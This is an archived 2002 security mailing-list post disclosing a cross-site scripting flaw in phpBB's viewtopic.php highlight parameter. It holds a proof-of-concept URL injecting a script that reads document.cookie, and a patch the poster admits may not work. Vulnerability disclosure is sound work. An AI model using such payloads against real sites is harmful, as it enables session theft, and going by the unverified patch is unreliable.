OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: Arab VieruZ (arabviersus_at_hotmail.com)
Date: Mon Nov 18 2002 - 06:33:41 CST

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    ('binary' encoding is not supported, stored as-is) Vulnerable systems:
    The Last ver

    Exploit:
    http://phpbb.com/phpBB/viewtopic.php?
    t=17071&highlight=">"<Scr*ipt>javascript:alert(document.cookie)</Scr*ipt>

    (without "*")

    Solution:
    i think that will work , but im not sure

    open viewtopic.php and put this code

    $highlight = htmlspecialchars($highlight);
    $highlight = PREG_Replace("/[A-Z&.;:()~!#$%^''*\{\}\/]/i", "",
    $highlight);